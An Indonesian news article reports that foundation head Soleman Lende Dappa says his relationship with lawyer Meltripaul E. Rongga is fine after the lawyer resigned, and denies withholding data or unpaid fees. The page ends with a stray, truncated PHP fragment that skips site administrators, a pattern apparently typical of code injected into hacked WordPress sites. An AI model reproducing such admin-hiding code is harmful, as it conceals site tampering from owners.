Hukum

Diterpa Kabar Disharmoni SLD Sebut, Hubungannya dengan Pengacara Meltripaul Baik-baik Saja

×

Diterpa Kabar Disharmoni SLD Sebut, Hubungannya dengan Pengacara Meltripaul Baik-baik Saja

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Pemberitaan santer tentang mundurnya pengacara Meltripaul E. Rongga sebagai kuasa hukum ditanggapi tenang oleh Soleman Lende Dappa.

Pimpinan Yayasan Tunas Timur (Yatutim) ini bahkan menegaskan jika hubungannya dengan advokat muda itu baik-baik saja.

“Terkait mundurnya Pak Meltripaul bagi saya sebetulnya tidak ada masalah yang serius,” ungkap SLD, Rabu (01/04/2026) di kediamannya, Kioloko, Desa Wee Londa, Tambolaka.

“Malamnya masih ketemu dengan saya, besok malam janjian mau ketemu, tapi tidak jadi,” katanya lebih lanjut.

Namun, tiba-tiba tengah malam ia menerima pesan WA dari Meltripaul yang isinya menyebut jika besok akan mengundurkan diri sebagai kuasa hukum.

Saat itu SLD membalas chat WA yang menyatakan jika ia berharap Meltripaul masih tetap jadi lawyernya.

Tanpa diduga keesokan sore ia didatangi staf dari Kantor Meltripaul E. Rongga, SH, M.Pd & Partners mengantar surat pengunduran diri.

“Ya, saya pikir itu hal yang biasa saja. Sebaliknya saya juga bisa mencabut kuasa dari lawyer, sama seperti dia berhak untuk mengundurkan diri sebagai lawyer saya,” timpal SLD.

Pihaknya membantah keras jika disebut tidak menyampaikan seluruh data yang dibutuhkan untuk kepentingan pembelaan.

Data-data itu sudah diberikan saat urusan di kejaksaan dimana Meltripaul mendampingi sebagai kuasa hukum.

“Data-data tentang laporan yayasan itu sejak tahun 2021 sampai 2023,kita sudah selesai,” akunya.

Bahkan, lanjut SLD, rekening koran 2024 sampai 2025 yang diminta pun sudah diberikan.

Tak Ada Wanprestasi

Terkait pernyataan yang menyebut dirinya wanprestasi, mantan cawabup paket AMAN di pilkada 2024 ini menegaskan jika hal itu tidak benar.

Dikatakannya, tidak mungkin seorang pengacara bisa memberikan jasa jika tidak ada dukungan klien dalam bentuk honor.

Ia mengatakan, kurang elok jika hal itu harus dibuktikan dengan memperlihatkan bukti transfer dan bukti terkait lain.

“Tapi, saya hargai apa pun yang diputuskan untuk ini, ya, saya pikir tidak ada masalah,” tutupnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>